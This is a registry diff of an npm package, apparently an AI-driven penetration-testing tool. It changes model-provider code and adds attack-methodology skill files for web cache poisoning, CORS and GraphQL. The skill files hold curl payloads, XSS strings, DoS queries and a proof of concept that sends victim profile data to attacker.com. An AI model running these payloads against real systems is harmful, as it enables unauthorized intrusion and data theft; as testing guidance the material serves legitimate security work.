@cyberstrike-io/cyberstrike 1.1.13 → 1.1.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/hackbrowser-worker.js +107 -16
- package/package.json +12 -12
- package/postinstall.mjs +18 -5
- package/skill/attack-cache-poison/SKILL.md +124 -0
- package/skill/attack-cors/SKILL.md +116 -0
- package/skill/attack-graphql/SKILL.md +121 -0
- package/skill/attack-host-header/SKILL.md +106 -0
- package/skill/attack-idor-automation/SKILL.md +150 -0
- package/skill/attack-jwt/SKILL.md +122 -0
- package/skill/attack-open-redirect/SKILL.md +129 -0
- package/skill/attack-prototype-pollution/SKILL.md +132 -0
- package/skill/attack-race-condition/SKILL.md +125 -0
- package/skill/attack-rate-limit-bypass/SKILL.md +146 -0
- package/skill/attack-request-smuggling/SKILL.md +164 -0
- package/skill/attack-ssrf/SKILL.md +132 -0
- package/skill/attack-ssti/SKILL.md +126 -0
- package/skill/attack-subdomain-takeover/SKILL.md +114 -0
- package/skill/attack-websocket/SKILL.md +136 -0
- package/skill/attack-xxe/SKILL.md +144 -0
- package/web/assets/{ghostty-web-BMDtVBzn.js → ghostty-web-nFGAkzUN.js} +1 -1
- package/web/assets/{home-zQrDqSYd.js → home-C1IdTiFP.js} +1 -1
- package/web/assets/{index-DnHYEPTe.js → index-D2hzTwHf.js} +41 -41
- package/web/assets/{session-DNtIkF3a.js → session-qd_85VE9.js} +35 -35
- package/web/index.html +1 -1
package/hackbrowser-worker.js
CHANGED
|
@@ -31028,8 +31028,8 @@ async function waitForManualLogin(page, label) {
|
|
|
31028
31028
|
btn.style.cssText = [
|
|
31029
31029
|
"all: initial",
|
|
31030
31030
|
"position: fixed",
|
|
31031
|
-
"
|
|
31032
|
-
"
|
|
31031
|
+
"top: 16px",
|
|
31032
|
+
"right: 16px",
|
|
31033
31033
|
"z-index: 2147483647",
|
|
31034
31034
|
"display: flex",
|
|
31035
31035
|
"flex-direction: column",
|
|
@@ -40637,6 +40637,18 @@ Always respond with a valid JSON object. If there is nothing to explore, return:
|
|
|
40637
40637
|
|
|
40638
40638
|
// ../hackbrowser/src/navigator.ts
|
|
40639
40639
|
var log3 = Log.create({ service: "hackbrowser:navigator" });
|
|
40640
|
+
function isAuthError(err) {
|
|
40641
|
+
if (!err || typeof err !== "object")
|
|
40642
|
+
return false;
|
|
40643
|
+
const e = err;
|
|
40644
|
+
if (e.name === "AI_LoadAPIKeyError")
|
|
40645
|
+
return true;
|
|
40646
|
+
if (e.statusCode === 401 || e.statusCode === 403)
|
|
40647
|
+
return true;
|
|
40648
|
+
if (e.lastError && isAuthError(e.lastError))
|
|
40649
|
+
return true;
|
|
40650
|
+
return Array.isArray(e.errors) && e.errors.some(isAuthError);
|
|
40651
|
+
}
|
|
40640
40652
|
function loadPlannerPrompt() {
|
|
40641
40653
|
return planner_default;
|
|
40642
40654
|
}
|
|
@@ -40693,10 +40705,14 @@ async function planPage(snapshot, model, usageAcc) {
|
|
|
40693
40705
|
log3.debug("page plan", { tasks: plan.tasks.length });
|
|
40694
40706
|
return plan;
|
|
40695
40707
|
} catch (err) {
|
|
40708
|
+
if (isAuthError(err))
|
|
40709
|
+
throw err;
|
|
40696
40710
|
log3.warn("planPage failed, retrying once", { err: String(err) });
|
|
40697
40711
|
try {
|
|
40698
40712
|
return await attempt();
|
|
40699
40713
|
} catch (err2) {
|
|
40714
|
+
if (isAuthError(err2))
|
|
40715
|
+
throw err2;
|
|
40700
40716
|
log3.error("planPage failed after retry, returning empty plan", { err: String(err2) });
|
|
40701
40717
|
return { tasks: [] };
|
|
40702
40718
|
}
|
|
@@ -40743,6 +40759,8 @@ async function planUnexploredElements(snapshot, unexploredLabels, model, usageAc
|
|
|
40743
40759
|
log3.debug("unexplored plan", { tasks: plan.tasks.length });
|
|
40744
40760
|
return plan;
|
|
40745
40761
|
} catch (err) {
|
|
40762
|
+
if (isAuthError(err))
|
|
40763
|
+
throw err;
|
|
40746
40764
|
log3.warn("planUnexploredElements failed", { err: String(err) });
|
|
40747
40765
|
return { tasks: [] };
|
|
40748
40766
|
}
|
|
@@ -53975,8 +53993,7 @@ function validate(opts) {
|
|
|
53975
53993
|
if (!opts.url) {
|
|
53976
53994
|
throw new Error("opts.url is required");
|
|
53977
53995
|
}
|
|
53978
|
-
|
|
53979
|
-
if (opts.multiCredentials && opts.multiCredentials.length >= 2 && headlessRequested) {
|
|
53996
|
+
if (opts.multiCredentials && opts.multiCredentials.length >= 2 && opts.headless === true) {
|
|
53980
53997
|
throw new Error("multi-credential mode requires headless: false (manual login is currently the only supported flow)");
|
|
53981
53998
|
}
|
|
53982
53999
|
}
|
|
@@ -54056,33 +54073,107 @@ function send(msg) {
|
|
|
54056
54073
|
process.stdout.write(JSON.stringify(msg) + `
|
|
54057
54074
|
`);
|
|
54058
54075
|
}
|
|
54076
|
+
function stripSamplingParams(body) {
|
|
54077
|
+
if (typeof body !== "string")
|
|
54078
|
+
return body;
|
|
54079
|
+
try {
|
|
54080
|
+
const json2 = JSON.parse(body);
|
|
54081
|
+
if (json2 && typeof json2 === "object") {
|
|
54082
|
+
delete json2["temperature"];
|
|
54083
|
+
delete json2["top_p"];
|
|
54084
|
+
delete json2["top_k"];
|
|
54085
|
+
return JSON.stringify(json2);
|
|
54086
|
+
}
|
|
54087
|
+
} catch {}
|
|
54088
|
+
return body;
|
|
54089
|
+
}
|
|
54090
|
+
function applyAnthropicBearerBody(body, opts) {
|
|
54091
|
+
if (typeof body !== "string")
|
|
54092
|
+
return body;
|
|
54093
|
+
try {
|
|
54094
|
+
const j = JSON.parse(body);
|
|
54095
|
+
if (opts.stripSampling) {
|
|
54096
|
+
delete j["temperature"];
|
|
54097
|
+
delete j["top_p"];
|
|
54098
|
+
delete j["top_k"];
|
|
54099
|
+
}
|
|
54100
|
+
if (opts.userId)
|
|
54101
|
+
j["metadata"] = { ...j["metadata"] ?? {}, user_id: opts.userId };
|
|
54102
|
+
if (opts.systemPrefix) {
|
|
54103
|
+
const prefix = { type: "text", text: opts.systemPrefix };
|
|
54104
|
+
if (Array.isArray(j["system"]))
|
|
54105
|
+
j["system"] = [prefix, ...j["system"]];
|
|
54106
|
+
else if (typeof j["system"] === "string")
|
|
54107
|
+
j["system"] = [prefix, { type: "text", text: j["system"] }];
|
|
54108
|
+
else if (j["system"] == null)
|
|
54109
|
+
j["system"] = [prefix];
|
|
54110
|
+
}
|
|
54111
|
+
return JSON.stringify(j);
|
|
54112
|
+
} catch {
|
|
54113
|
+
return body;
|
|
54114
|
+
}
|
|
54115
|
+
}
|
|
54059
54116
|
function createModelFromDescriptor(desc) {
|
|
54117
|
+
const stripSampling = desc.supportsTemperature === false;
|
|
54118
|
+
const samplingFetch = stripSampling ? (input, init) => fetch(input, init ? { ...init, body: stripSamplingParams(init.body) } : init) : undefined;
|
|
54060
54119
|
if (desc.npm.includes("anthropic")) {
|
|
54061
|
-
|
|
54120
|
+
if (desc.authToken) {
|
|
54121
|
+
const token = desc.authToken;
|
|
54122
|
+
const beta = desc.anthropicBeta;
|
|
54123
|
+
const opts3 = {
|
|
54124
|
+
apiKey: "placeholder",
|
|
54125
|
+
fetch: (url2, init) => {
|
|
54126
|
+
const headers = new Headers(init?.headers);
|
|
54127
|
+
headers.delete("x-api-key");
|
|
54128
|
+
headers.set("authorization", `Bearer ${token}`);
|
|
54129
|
+
if (beta)
|
|
54130
|
+
headers.set("anthropic-beta", beta);
|
|
54131
|
+
const body = applyAnthropicBearerBody(init?.body, {
|
|
54132
|
+
stripSampling,
|
|
54133
|
+
userId: desc.anthropicUserId,
|
|
54134
|
+
systemPrefix: desc.anthropicSystemPrefix
|
|
54135
|
+
});
|
|
54136
|
+
return fetch(url2, { ...init, headers, body });
|
|
54137
|
+
}
|
|
54138
|
+
};
|
|
54139
|
+
if (desc.baseURL)
|
|
54140
|
+
opts3.baseURL = desc.baseURL;
|
|
54141
|
+
if (desc.headers)
|
|
54142
|
+
opts3.headers = desc.headers;
|
|
54143
|
+
return createAnthropic(opts3)(desc.modelApiId);
|
|
54144
|
+
}
|
|
54145
|
+
const opts2 = {};
|
|
54062
54146
|
if (desc.apiKey)
|
|
54063
|
-
|
|
54147
|
+
opts2.apiKey = desc.apiKey;
|
|
54064
54148
|
if (desc.baseURL)
|
|
54065
|
-
|
|
54149
|
+
opts2.baseURL = desc.baseURL;
|
|
54066
54150
|
if (desc.headers)
|
|
54067
|
-
|
|
54068
|
-
|
|
54151
|
+
opts2.headers = desc.headers;
|
|
54152
|
+
if (samplingFetch)
|
|
54153
|
+
opts2.fetch = samplingFetch;
|
|
54154
|
+
return createAnthropic(opts2)(desc.modelApiId);
|
|
54069
54155
|
}
|
|
54070
54156
|
if (desc.npm === "@ai-sdk/openai") {
|
|
54071
|
-
const
|
|
54157
|
+
const opts2 = {};
|
|
54072
54158
|
if (desc.apiKey)
|
|
54073
|
-
|
|
54159
|
+
opts2.apiKey = desc.apiKey;
|
|
54074
54160
|
if (desc.baseURL)
|
|
54075
|
-
|
|
54161
|
+
opts2.baseURL = desc.baseURL;
|
|
54076
54162
|
if (desc.headers)
|
|
54077
|
-
|
|
54078
|
-
|
|
54163
|
+
opts2.headers = desc.headers;
|
|
54164
|
+
if (samplingFetch)
|
|
54165
|
+
opts2.fetch = samplingFetch;
|
|
54166
|
+
return createOpenAI(opts2)(desc.modelApiId);
|
|
54079
54167
|
}
|
|
54080
|
-
|
|
54168
|
+
const opts = {
|
|
54081
54169
|
name: "hackbrowser-provider",
|
|
54082
54170
|
apiKey: desc.apiKey ?? "",
|
|
54083
54171
|
baseURL: desc.baseURL ?? "https://api.openai.com/v1",
|
|
54084
54172
|
headers: desc.headers
|
|
54085
|
-
}
|
|
54173
|
+
};
|
|
54174
|
+
if (samplingFetch)
|
|
54175
|
+
opts.fetch = samplingFetch;
|
|
54176
|
+
return createOpenAICompatible(opts).languageModel(desc.modelApiId);
|
|
54086
54177
|
}
|
|
54087
54178
|
function buildCrawlOptions(opts, signal) {
|
|
54088
54179
|
const logSink = (rec) => {
|
package/package.json
CHANGED
|
@@ -7,7 +7,7 @@
|
|
|
7
7
|
"scripts": {
|
|
8
8
|
"postinstall": "bun ./postinstall.mjs || node ./postinstall.mjs"
|
|
9
9
|
},
|
|
10
|
-
"version": "1.1.
|
|
10
|
+
"version": "1.1.14",
|
|
11
11
|
"license": "AGPL-3.0-only",
|
|
12
12
|
"keywords": [
|
|
13
13
|
"cyberstrike",
|
|
@@ -40,16 +40,16 @@
|
|
|
40
40
|
"playwright": "1.58.2"
|
|
41
41
|
},
|
|
42
42
|
"optionalDependencies": {
|
|
43
|
-
"@cyberstrike-io/cyberstrike-darwin-x64": "1.1.
|
|
44
|
-
"@cyberstrike-io/cyberstrike-
|
|
45
|
-
"@cyberstrike-io/cyberstrike-
|
|
46
|
-
"@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.
|
|
47
|
-
"@cyberstrike-io/cyberstrike-
|
|
48
|
-
"@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.
|
|
49
|
-
"@cyberstrike-io/cyberstrike-linux-
|
|
50
|
-
"@cyberstrike-io/cyberstrike-
|
|
51
|
-
"@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.
|
|
52
|
-
"@cyberstrike-io/cyberstrike-linux-x64-
|
|
53
|
-
"@cyberstrike-io/cyberstrike-
|
|
43
|
+
"@cyberstrike-io/cyberstrike-darwin-x64": "1.1.14",
|
|
44
|
+
"@cyberstrike-io/cyberstrike-windows-x64": "1.1.14",
|
|
45
|
+
"@cyberstrike-io/cyberstrike-darwin-x64-baseline": "1.1.14",
|
|
46
|
+
"@cyberstrike-io/cyberstrike-windows-x64-baseline": "1.1.14",
|
|
47
|
+
"@cyberstrike-io/cyberstrike-linux-x64-musl": "1.1.14",
|
|
48
|
+
"@cyberstrike-io/cyberstrike-linux-arm64-musl": "1.1.14",
|
|
49
|
+
"@cyberstrike-io/cyberstrike-linux-arm64": "1.1.14",
|
|
50
|
+
"@cyberstrike-io/cyberstrike-darwin-arm64": "1.1.14",
|
|
51
|
+
"@cyberstrike-io/cyberstrike-linux-x64-baseline-musl": "1.1.14",
|
|
52
|
+
"@cyberstrike-io/cyberstrike-linux-x64-baseline": "1.1.14",
|
|
53
|
+
"@cyberstrike-io/cyberstrike-linux-x64": "1.1.14"
|
|
54
54
|
}
|
|
55
55
|
}
|
package/postinstall.mjs
CHANGED
|
@@ -164,6 +164,12 @@ function installSkills() {
|
|
|
164
164
|
* The actual chromium binary requires a separate one-time step:
|
|
165
165
|
* npx playwright install chromium
|
|
166
166
|
*/
|
|
167
|
+
// Pinned playwright version for the hackbrowser worker. MUST stay in sync with
|
|
168
|
+
// packages/hackbrowser/package.json (and packages/cyberstrike/package.json). The
|
|
169
|
+
// playwright version is coupled to a specific Chromium build, so a drift here
|
|
170
|
+
// causes "Chromium <rev> is not installed" at runtime.
|
|
171
|
+
const PLAYWRIGHT_VERSION = "1.58.2"
|
|
172
|
+
|
|
167
173
|
function installHackbrowserWorker() {
|
|
168
174
|
const workerSrc = path.join(__dirname, "hackbrowser-worker.js")
|
|
169
175
|
if (!fs.existsSync(workerSrc)) {
|
|
@@ -187,16 +193,23 @@ function installHackbrowserWorker() {
|
|
|
187
193
|
if (!fs.existsSync(playwrightDir)) {
|
|
188
194
|
console.log("Installing playwright npm package for hackbrowser worker...")
|
|
189
195
|
try {
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
196
|
+
// --save-exact pins the dependency without a caret ("1.58.2", not
|
|
197
|
+
// "^1.58.2"). A caret range lets a later `npm install` in this dir bump
|
|
198
|
+
// to a newer minor (e.g. 1.59.x) whose Chromium build won't match the one
|
|
199
|
+
// installed via `npx playwright install chromium`, breaking the worker.
|
|
200
|
+
execSync(
|
|
201
|
+
`npm install --prefix "${dataDir}" --save-exact playwright@${PLAYWRIGHT_VERSION} --no-fund --no-audit --loglevel=error`,
|
|
202
|
+
{
|
|
203
|
+
stdio: "inherit",
|
|
204
|
+
timeout: 120000,
|
|
205
|
+
},
|
|
206
|
+
)
|
|
194
207
|
console.log("playwright installed to", nodeModulesDir)
|
|
195
208
|
} catch (err) {
|
|
196
209
|
console.warn(
|
|
197
210
|
"Warning: Failed to install playwright automatically:",
|
|
198
211
|
err.message,
|
|
199
|
-
|
|
212
|
+
`\nTo install manually: npm install --prefix ~/.local/share/cyberstrike --save-exact playwright@${PLAYWRIGHT_VERSION}`,
|
|
200
213
|
)
|
|
201
214
|
}
|
|
202
215
|
} else {
|
|
@@ -0,0 +1,124 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-cache-poison
|
|
3
|
+
description: "Web cache poisoning — unkeyed header/parameter injection to serve malicious content to all users"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- cache-poisoning
|
|
9
|
+
- web
|
|
10
|
+
- xss
|
|
11
|
+
- attack
|
|
12
|
+
tech_stack:
|
|
13
|
+
- web
|
|
14
|
+
cwe_ids:
|
|
15
|
+
- CWE-444
|
|
16
|
+
- CWE-525
|
|
17
|
+
chains_with:
|
|
18
|
+
- attack-host-header
|
|
19
|
+
- attack-open-redirect
|
|
20
|
+
prerequisites: []
|
|
21
|
+
severity_boost:
|
|
22
|
+
attack-host-header: "Host header + cache = stored XSS/redirect affecting all users"
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
# Web Cache Poisoning
|
|
26
|
+
|
|
27
|
+
## Objective
|
|
28
|
+
|
|
29
|
+
Inject malicious content into cached responses via unkeyed inputs (headers, parameters) so that subsequent users receive the poisoned response.
|
|
30
|
+
|
|
31
|
+
## Testing Methodology
|
|
32
|
+
|
|
33
|
+
### Phase 1: Identify Cache Behavior
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Check cache headers
|
|
37
|
+
curl -s -D- https://TARGET/ | grep -i "x-cache\|age\|cache-control\|cf-cache\|x-varnish"
|
|
38
|
+
|
|
39
|
+
# Identify cache key components (vary header)
|
|
40
|
+
curl -s -D- https://TARGET/ | grep -i "vary"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Phase 2: Find Unkeyed Inputs
|
|
44
|
+
|
|
45
|
+
Test headers that are reflected in response but NOT part of cache key:
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
# X-Forwarded-Host
|
|
49
|
+
curl -s https://TARGET/ -H "X-Forwarded-Host: evil.com" | grep "evil.com"
|
|
50
|
+
|
|
51
|
+
# X-Forwarded-Scheme
|
|
52
|
+
curl -s https://TARGET/ -H "X-Forwarded-Scheme: nothttps" | grep "redirect"
|
|
53
|
+
|
|
54
|
+
# X-Original-URL / X-Rewrite-URL
|
|
55
|
+
curl -s https://TARGET/ -H "X-Original-URL: /admin"
|
|
56
|
+
|
|
57
|
+
# Custom headers
|
|
58
|
+
curl -s https://TARGET/ -H "X-Forwarded-Port: 1234"
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Phase 3: Cache Poisoning via Unkeyed Header
|
|
62
|
+
|
|
63
|
+
```bash
|
|
64
|
+
# Poison with XSS payload
|
|
65
|
+
curl -s https://TARGET/ \
|
|
66
|
+
-H "X-Forwarded-Host: evil.com\"><script>alert(1)</script>"
|
|
67
|
+
|
|
68
|
+
# Wait for cache to store, then verify
|
|
69
|
+
curl -s https://TARGET/ | grep "alert(1)"
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Phase 4: Unkeyed Parameter Poisoning
|
|
73
|
+
|
|
74
|
+
```bash
|
|
75
|
+
# Find parameters not in cache key
|
|
76
|
+
curl -s "https://TARGET/?cb=123" -D- | grep "x-cache"
|
|
77
|
+
curl -s "https://TARGET/?utm_source=evil" | grep "evil"
|
|
78
|
+
|
|
79
|
+
# Reflected unkeyed parameter → stored XSS
|
|
80
|
+
curl -s "https://TARGET/?evil=<script>alert(1)</script>"
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
### Phase 5: Fat GET / POST-based Poisoning
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
# Fat GET — body in GET request
|
|
87
|
+
curl -s https://TARGET/ -X GET -d "param=<script>alert(1)</script>"
|
|
88
|
+
|
|
89
|
+
# POST → GET cache confusion
|
|
90
|
+
curl -s https://TARGET/ -X POST \
|
|
91
|
+
-H "X-HTTP-Method-Override: GET" \
|
|
92
|
+
-d "param=evil"
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
### Phase 6: Cache Key Normalization
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
# Path normalization differences
|
|
99
|
+
curl -s "https://TARGET/path/../admin"
|
|
100
|
+
curl -s "https://TARGET/PATH" vs "https://TARGET/path"
|
|
101
|
+
curl -s "https://TARGET/path;.js"
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
## What Constitutes a Finding
|
|
105
|
+
|
|
106
|
+
| Finding | Severity |
|
|
107
|
+
|---------|----------|
|
|
108
|
+
| Cached XSS payload served to other users | Critical (P1) |
|
|
109
|
+
| Cached redirect to attacker domain | High (P2) |
|
|
110
|
+
| Denial of service via cache poisoning (error page cached) | Medium (P3) |
|
|
111
|
+
| Unkeyed header reflected (no cache impact proven) | Low (P4) |
|
|
112
|
+
|
|
113
|
+
## Evidence Requirements
|
|
114
|
+
|
|
115
|
+
- Unkeyed input identified (header or parameter)
|
|
116
|
+
- Response showing injected content
|
|
117
|
+
- Cache headers proving response was cached (X-Cache: HIT, Age > 0)
|
|
118
|
+
- Second request (clean) still receiving poisoned content
|
|
119
|
+
- Impact: XSS, redirect, or DoS
|
|
120
|
+
|
|
121
|
+
## References
|
|
122
|
+
|
|
123
|
+
- [PortSwigger: Web Cache Poisoning](https://portswigger.net/web-security/web-cache-poisoning)
|
|
124
|
+
- [James Kettle: Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning)
|
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-cors
|
|
3
|
+
description: "CORS misconfiguration testing — origin reflection, wildcard bypass, null origin, credential leakage"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- cors
|
|
9
|
+
- web
|
|
10
|
+
- owasp
|
|
11
|
+
- access-control
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-942
|
|
17
|
+
- CWE-346
|
|
18
|
+
chains_with:
|
|
19
|
+
- attack-open-redirect
|
|
20
|
+
- attack-idor-automation
|
|
21
|
+
prerequisites: []
|
|
22
|
+
severity_boost:
|
|
23
|
+
attack-open-redirect: "CORS + open redirect = token theft via cross-origin request"
|
|
24
|
+
---
|
|
25
|
+
|
|
26
|
+
# CORS Misconfiguration Attack
|
|
27
|
+
|
|
28
|
+
## Objective
|
|
29
|
+
|
|
30
|
+
Identify Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-origin access to sensitive data or APIs.
|
|
31
|
+
|
|
32
|
+
## Testing Methodology
|
|
33
|
+
|
|
34
|
+
### Phase 1: Origin Reflection Detection
|
|
35
|
+
|
|
36
|
+
Test if the server reflects arbitrary origins in `Access-Control-Allow-Origin`:
|
|
37
|
+
|
|
38
|
+
```bash
|
|
39
|
+
# Automated CORS checker (bundled script)
|
|
40
|
+
attack_script cors_checker https://TARGET/api/endpoint --json-output
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Manual tests:
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# Arbitrary origin
|
|
47
|
+
curl -s -H "Origin: https://evil.com" TARGET_URL -D- | grep -i "access-control"
|
|
48
|
+
|
|
49
|
+
# Subdomain bypass
|
|
50
|
+
curl -s -H "Origin: https://TARGET.evil.com" TARGET_URL -D-
|
|
51
|
+
|
|
52
|
+
# Null origin
|
|
53
|
+
curl -s -H "Origin: null" TARGET_URL -D-
|
|
54
|
+
|
|
55
|
+
# HTTP downgrade
|
|
56
|
+
curl -s -H "Origin: http://TARGET" TARGET_URL -D-
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### Phase 2: Bypass Techniques
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
# Backtick bypass
|
|
63
|
+
curl -s -H "Origin: https://TARGET%60.evil.com" TARGET_URL -D-
|
|
64
|
+
|
|
65
|
+
# Underscore bypass
|
|
66
|
+
curl -s -H "Origin: https://TARGET_.evil.com" TARGET_URL -D-
|
|
67
|
+
|
|
68
|
+
# CRLF injection
|
|
69
|
+
curl -s -H "Origin: https://evil.com%0d%0a" TARGET_URL -D-
|
|
70
|
+
|
|
71
|
+
# Prefix matching bypass
|
|
72
|
+
curl -s -H "Origin: https://evil-TARGET" TARGET_URL -D-
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
### Phase 3: Impact Verification
|
|
76
|
+
|
|
77
|
+
If ACAO reflects attacker origin + ACAC is true:
|
|
78
|
+
|
|
79
|
+
```html
|
|
80
|
+
<!-- PoC: reads victim data cross-origin -->
|
|
81
|
+
<script>
|
|
82
|
+
fetch('https://TARGET/api/user/profile', {
|
|
83
|
+
credentials: 'include'
|
|
84
|
+
})
|
|
85
|
+
.then(r => r.json())
|
|
86
|
+
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))))
|
|
87
|
+
</script>
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## What Constitutes a Finding
|
|
91
|
+
|
|
92
|
+
| Condition | Severity |
|
|
93
|
+
|-----------|----------|
|
|
94
|
+
| Arbitrary origin reflected + credentials allowed | Critical (P1) |
|
|
95
|
+
| Arbitrary origin reflected, no credentials | Medium (P3) |
|
|
96
|
+
| null origin accepted + credentials allowed | High (P2) |
|
|
97
|
+
| Subdomain origin reflected + credentials | High (P2) |
|
|
98
|
+
| Wildcard ACAO with credentials | Medium (P3) |
|
|
99
|
+
|
|
100
|
+
## Evidence Requirements
|
|
101
|
+
|
|
102
|
+
- Request with attacker `Origin` header
|
|
103
|
+
- Response showing `Access-Control-Allow-Origin` reflection
|
|
104
|
+
- Response showing `Access-Control-Allow-Credentials: true`
|
|
105
|
+
- PoC HTML demonstrating cross-origin data access
|
|
106
|
+
|
|
107
|
+
## Tools
|
|
108
|
+
|
|
109
|
+
- `attack_script cors_checker` — automated multi-origin testing
|
|
110
|
+
- `curl` — manual header injection
|
|
111
|
+
- Browser DevTools — verify CORS behavior
|
|
112
|
+
|
|
113
|
+
## References
|
|
114
|
+
|
|
115
|
+
- [PortSwigger: CORS](https://portswigger.net/web-security/cors)
|
|
116
|
+
- [OWASP: CORS Misconfiguration](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)
|
|
@@ -0,0 +1,121 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-graphql
|
|
3
|
+
description: "GraphQL vulnerability testing — introspection exposure, complexity DoS, batch abuse, mutation auth bypass"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- graphql
|
|
9
|
+
- api
|
|
10
|
+
- web
|
|
11
|
+
- dos
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
- graphql
|
|
16
|
+
cwe_ids:
|
|
17
|
+
- CWE-200
|
|
18
|
+
- CWE-284
|
|
19
|
+
- CWE-770
|
|
20
|
+
chains_with:
|
|
21
|
+
- attack-idor-automation
|
|
22
|
+
prerequisites: []
|
|
23
|
+
severity_boost:
|
|
24
|
+
attack-idor-automation: "GraphQL introspection reveals IDOR-vulnerable queries"
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
# GraphQL Vulnerability Testing
|
|
28
|
+
|
|
29
|
+
## Objective
|
|
30
|
+
|
|
31
|
+
Exploit GraphQL-specific vulnerabilities including schema exposure, query complexity abuse, and authorization bypass.
|
|
32
|
+
|
|
33
|
+
## Testing Methodology
|
|
34
|
+
|
|
35
|
+
### Phase 1: Automated Testing
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
# Full GraphQL test suite
|
|
39
|
+
attack_script graphql_tester "https://TARGET/graphql" \
|
|
40
|
+
-H "Authorization:Bearer TOKEN" \
|
|
41
|
+
--json-output
|
|
42
|
+
|
|
43
|
+
# Custom depth/batch
|
|
44
|
+
attack_script graphql_tester "https://TARGET/graphql" \
|
|
45
|
+
--depth 15 --batch-count 100
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Phase 2: Introspection Query
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
# Full schema extraction
|
|
52
|
+
curl -s -X POST https://TARGET/graphql \
|
|
53
|
+
-H "Content-Type: application/json" \
|
|
54
|
+
-d '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name args { name type { name } } } } queryType { fields { name } } } }"}'
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
If introspection is enabled, map all types, queries, mutations, and subscriptions.
|
|
58
|
+
|
|
59
|
+
### Phase 3: Authorization Bypass
|
|
60
|
+
|
|
61
|
+
```graphql
|
|
62
|
+
# Access admin queries without auth
|
|
63
|
+
{ adminUsers { id email role } }
|
|
64
|
+
|
|
65
|
+
# Mutation without auth
|
|
66
|
+
mutation { deleteUser(id: "123") { success } }
|
|
67
|
+
|
|
68
|
+
# Access other user's data
|
|
69
|
+
{ user(id: "OTHER_USER_ID") { email ssn creditCard } }
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Phase 4: Complexity / DoS
|
|
73
|
+
|
|
74
|
+
```graphql
|
|
75
|
+
# Deeply nested query
|
|
76
|
+
{ users { posts { comments { author { posts { comments { author { id } } } } } } } }
|
|
77
|
+
|
|
78
|
+
# Alias multiplication
|
|
79
|
+
{ a1: __typename a2: __typename ... a100: __typename }
|
|
80
|
+
|
|
81
|
+
# Batch queries (array)
|
|
82
|
+
[{"query":"{ __typename }"}, {"query":"{ __typename }"}, ... x50]
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
### Phase 5: Directive Abuse
|
|
86
|
+
|
|
87
|
+
```graphql
|
|
88
|
+
# Skip/include directive for info leakage
|
|
89
|
+
{ user(id: "1") { name email @skip(if: false) secretField @include(if: true) } }
|
|
90
|
+
|
|
91
|
+
# Field suggestions (error-based enum)
|
|
92
|
+
{ user { nonExistentField } }
|
|
93
|
+
# Error may suggest: "Did you mean: password, secret_key?"
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
## What Constitutes a Finding
|
|
97
|
+
|
|
98
|
+
| Finding | Severity |
|
|
99
|
+
|---------|----------|
|
|
100
|
+
| Introspection enabled (schema exposed) | Medium (P3) |
|
|
101
|
+
| Admin mutations accessible without auth | Critical (P1) |
|
|
102
|
+
| Other user data accessible (IDOR) | High (P2) |
|
|
103
|
+
| DoS via complexity (server timeout/crash) | Medium (P3) |
|
|
104
|
+
| Batch queries bypass rate limiting | Medium (P3) |
|
|
105
|
+
|
|
106
|
+
## Evidence Requirements
|
|
107
|
+
|
|
108
|
+
- GraphQL endpoint URL
|
|
109
|
+
- Query/mutation sent
|
|
110
|
+
- Response showing unauthorized data
|
|
111
|
+
- For introspection: schema dump (types, mutations, queries)
|
|
112
|
+
- For DoS: response timing proving server overload
|
|
113
|
+
|
|
114
|
+
